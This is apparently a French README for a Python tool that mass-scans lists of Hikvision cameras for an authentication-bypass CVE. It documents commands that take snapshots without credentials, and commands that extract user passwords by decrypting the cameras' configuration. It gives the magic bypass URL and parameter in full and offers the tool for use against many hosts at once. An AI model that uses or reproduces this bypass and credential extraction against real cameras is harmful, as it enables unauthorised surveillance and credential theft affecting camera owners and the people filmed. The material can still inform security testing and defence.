Outil de listage et de capture d'écran de caméras Hikvision

Outil autonome pour lister les caméras Hikvision à partir d'un fichier et prendre un instantané de chacune d'elles en utilisant des identifiants valides (authentification HTTP Basic ou Digest) ou le contournement d'authentification CVE. Conçu pour être exécuté sur un autre hôte à des fins de test.

Fonctionnalités

• Lister les caméras à partir d'un fichier texte (une hôte ou hôte:port par ligne).
• Vérification (CVE) – tester chaque caméra pour le contournement d'authentification magique CVE (aucun identifiant) ; option --save-snapshot pour les appareils vulnérables.
• Informations d'identification – extraire l'utilisateur/mot de passe de chaque caméra via la CVE (authentification magique + déchiffrement de la configuration). Nécessite OpenSSL.
• Vérification d'authentification – vérifier que l'utilisateur/mot de passe sont acceptés par chaque caméra (aucun instantané sauvegardé).
• Instantané de toutes les caméras – récupère une image par caméra (identifiants valides, ou --exploit pour utiliser le contournement CVE sans identifiants).
• Requêtes simultanées (workers configurables).
• Authentification Digest HTTP optionnelle ; --merge optionnel pour construire une image d'ensemble. Dépendances : requests, Pillow (pour --merge).

Prérequis

• Python 3.8+
• requests

Installation

pip install -r requirements.txt

Fichier de liste de caméras

Créez un fichier texte avec une caméra par ligne. Les commentaires avec # sont ignorés.

# exemple cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080

Utilisation

Lister les caméras

Affiche les caméras lues depuis le fichier (aucun identifiant nécessaire).

python hikvision_snapshots.py cameras.txt list

Vérification optionnelle de l'accessibilité (GET HTTP vers chaque hôte) :

python hikvision_snapshots.py cameras.txt list -v

Vérification (CVE)

Teste chaque caméra pour la CVE de contournement d'authentification d'instantané Hikvision. Aucun identifiant requis.

python hikvision_snapshots.py cameras.txt check

Sauvegarde les instantanés uniquement pour les caméras vulnérables :

python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots

Options : --timeout, --workers, -o (pour --save-snapshot).

Informations d'identification (extraction)

Extrait les identifiants de chaque caméra via la CVE (authentification magique pour récupérer la liste des utilisateurs et le fichier de configuration, puis déchiffrement de la configuration). Nécessite OpenSSL sur l'hôte. Aucun identifiant nécessaire pour l'exécution.

python hikvision_snapshots.py cameras.txt credentials

Options : --timeout, --workers.

Vérification d'authentification

Vérifie que vos identifiants fonctionnent sur chaque caméra (utilise les mêmes points de terminaison d'instantané ; ne sauvegarde pas d'images).

python hikvision_snapshots.py cameras.txt auth-check -u admin -p VotreMotDePasse

Options : --timeout, --workers, --digest (identique à l'instantané).

Instantané de toutes les caméras

Prend un instantané par caméra et le sauvegarde au format JPEG. Utilisez soit des identifiants valides soit --exploit (contournement d'authentification CVE, sans identifiants).

# Avec identifiants
python hikvision_snapshots.py cameras.txt snapshot -u admin -p VotreMotDePasse

# Avec l'exploit CVE (aucun identifiant)
python hikvision_snapshots.py cameras.txt snapshot --exploit

• Les instantanés sont sauvegardés dans snapshots/ par défaut (utilisez -o pour changer).
• Les noms de fichiers sont dérivés de hôte ou hôte_port (ex. 192_168_1_100.jpg, nvr_local_8080.jpg).

Options :

Avec --merge, après avoir sauvegardé chaque instantané, l'outil construit une image de grille unique (overview.jpg) dans le répertoire de sortie avec une cellule par caméra et une étiquette. Nécessite Pillow (pip install Pillow).

Exemple avec sortie personnalisée et authentification Digest :

python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20

Exemple avec vue d'ensemble fusionnée :

python hikvision_snapshots.py cameras.txt snapshot -u admin -p VotreMotDePasse --merge
# ou avec exploit (sans identifiants) :
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out

Points de terminaison

Instantané authentifié (avec identifiants) : le script essaie dans l'ordre – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.

CVE (vérification / --exploit) : /onvif-http/snapshot?auth=YWRtaW46MTEK (contournement d'authentification magique, sans identifiants).

Exécution sur un autre hôte

1. Copiez hikvision_snapshots.py, requirements.txt et votre fichier de liste de caméras sur l'hôte.
2. Installez : pip install -r requirements.txt
3. Exécutez list pour vérifier le fichier ; utilisez check pour la CVE, auth-check pour les identifiants, ou snapshot (avec -u/-p ou --exploit).

Assurez-vous que l'hôte a un accès réseau à toutes les adresses IP et ports des caméras.